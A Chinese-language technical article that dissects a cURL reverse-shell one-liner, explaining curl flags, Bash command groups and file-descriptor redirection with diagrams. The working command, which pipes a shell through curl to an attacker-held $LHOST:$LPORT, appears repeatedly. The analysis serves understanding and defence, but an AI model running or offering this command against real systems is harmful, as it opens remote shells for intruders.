cURL 是一款开源命令行工具,用于向指定 URL 发送数据并接收返回结果,常用于下载文件、请求基于 HTTP 协议的 API 接口等。
cURL 结合 Linux 和 Bash 的一些特性也可用于反弹 Shell。命令如下:
{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:
该反弹 Shell 命令较为复杂,本文将逐步解析该命令,分析它的工作原理。
执行 man curl
命令可以查询到该反弹 Shell 命令中 cURL 各个参数的含义,整理后列举如下:
stdout
。-
做文件名以从 stdin
读取文件内容;也可用 .
做文件名,以非阻塞模式从 stdin
读取文件内容。非阻塞模式是指可从 stdin
读取文件内容的同时读取服务端输出。该反弹 Shell 命令的最后一个字符——冒号——是一个 Bash 内置命令,执行 man bash
命令查看手册可以找到如下的说明:
: [参数]
无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。
该反弹 Shell 命令中花括号的用法是命令组,可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。
例如执行如下命令:
{ echo 1 ; echo 2 ; } > out.txt
会发现屏幕没有任何输出,out.txt
的内容是:
1
2
可见两条 echo
命令的标准输出都被重定向到了文件 out.txt
。
需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。
另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:
{ echo 1 > inner.txt ; echo 2 ; } > outer.txt
会发现第一个 echo
命令的输出被重定向到了 inner.txt
,而不是 outer.txt
。
/dev/fd/
是指向 /proc/self/fd
的软链接。
$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd
/proc/self
是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self
指向 /proc/<该进程的 PID>
。
为理解该反弹 Shell 命令,我们先对其进行语法分析。
该反弹 Shell 命令被倒数第二个字符 |
(管道)分为前后两部分,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+
前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
| | | | | |
| {...} 3>&1 +------+ +-------+ : |
| | | |
+------+-----+ +-------+
|
+------+-----+
| |
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+
完成语法分析后来对 fd 重定向情况进行分析。
假设执行这条命令的 Bash 的 stdin
和 stdout
都是 pts/0
。外层 |
(倒数第二个字符)产生的匿名管道为 pipe1
,内层 |
(cURL 和 sh 之间的管道)产生的匿名管道为 pipe2
。
可标注出外层 |
前后命令的 fd 如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+
stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0
命令组后的 3>&1
将 fd 3 重定向到了 fd 1,即 stdout
,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+ +-------+ : |
| | | |
+------------------------------------------------------------+ +-------+
stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0
fd 3 : pipe1
命令组中的命令会继承 {}
的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 cURL 和 sh 的 fd 如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+
stdin : pts/0 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1 fd 3 : pipe1
cURL 和 sh 各自又有一个重定向。cURL 的 </dev/fd/3
表示把 stdin
重定向为 fd 3,即 pipe1
。sh 的 3>&-
表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+--------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT | | sh |
| | | |
+--------------------------------------+ +----------+
stdin : pipe1 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1
从上图可以很清晰地看出,cURL 的 stdin
和 sh 的 stdout
、 sh 的 stdin
和 cURL 的 stdout
分别通过匿名管道 pipe1
和 pipe2
相连。
该反弹 Shell 命令利用 Bash 的命令组、管道和重定向等特性让 cURL 命令和 sh 命令的 stdin
和 stdout
交错相连;通过为 cURL 添加 -T
等参数和文件名 .
让 cURL 读取 stdin
的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout
。